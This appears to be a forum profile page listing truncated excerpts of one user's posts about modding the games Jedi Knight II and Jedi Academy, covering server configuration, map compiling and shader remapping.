Phanto's Forum Contributions

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Recent Comments & Posts

Hi, our clan has four servers We were wondering if it is possible to have one server runnning many...

23rd August 2004 20:08

I was just wondering if its possible to make a full screen effect for jedi knight 2. A good example...

8th May 2009 18:05

there is a g_maxforcerank number thats bugged and will dissable sabers + all force powers. Sadly i c...

29th December 2009 13:12

I need someone to amend the _humanoid animations. I have fixed simply pasted the ATST folder into...

10th August 2009 15:08

I know how it can be done, but its not easy. There are several checks which are used to limit the sa...

26th July 2009 17:07

cm_inline error is from having too many brush models. Jk2 = 256, JKA = 512 (Multiplayer). A brush mo...

8th July 2009 21:07

www.Jtbrown.co.uk • View topic - ffa_dream (Download) As the upload process is slow at the moment...

14th May 2009 21:05

You dont need to understand it now! My Server.cfg generator will do it all for you, i'll be adding s...

11th May 2009 12:05

I would like to fix the g_dismember cvar in jk2 1.02, the command works however at random the server...

9th May 2009 18:05

Is it getting close now?

9th May 2009 17:05

CONTENT="0; URL=http://xsaimex..com/"> Fix it!

9th May 2009 17:05

I've done it! www.Jtbrown.co.uk • View topic - Screen Crosshairs (Download) I had to use the crossha...

9th May 2009 10:05

Sorry i should explain it a bit more clearly. Ok im working with version 1.02, Im working with multi...

8th May 2009 19:05

Sorry about the double post, I think it might be possible to modify the user interface, hud.menu to...

8th May 2009 18:05

If your talking about multiplayer, I dont think its possible to add NPCs. Check your GTK Radient pre...

5th May 2009 11:05

Yavin_canyon prob tho you will get yellow wiriting simple fix = make the model of the model which is...

28th September 2005 19:09

As I only mod jk2 1.02 the only methods of modification are directly dissassembling the jk2mp.exe/Jk...

5th May 2009 11:05

I would like to remove some of the portals from ffa_bespin, however theres none in the entities file...

3rd May 2009 16:05

I've been mapping this way for close to a year now, I've probably seen every error that can be cause...

28th April 2009 07:04

Game: Jedi knight II Bespin_Streets Added: April 24th 2009 05:18 Status: Pending It is the 28th I h...

28th April 2009 07:04

Theres two func_breakables, these can be duplicated and repositioned using -onlyents compile and cha...

26th April 2009 10:04

Ok il tell you how to strip the file size, 1st install the game and make sure its fully working. Are...

25th April 2009 20:04

(Warning this isnt for beginners) Ever wanted to make a completely server side modification for jk2...

25th April 2009 20:04

It's possible to change the ingame shaders through a maps .BSP file, this is called shader remapping...

25th April 2009 20:04

Im currently working on a new project for more information see: www.Jtbrown.co.uk • View topic - ffa...

25th April 2009 19:04
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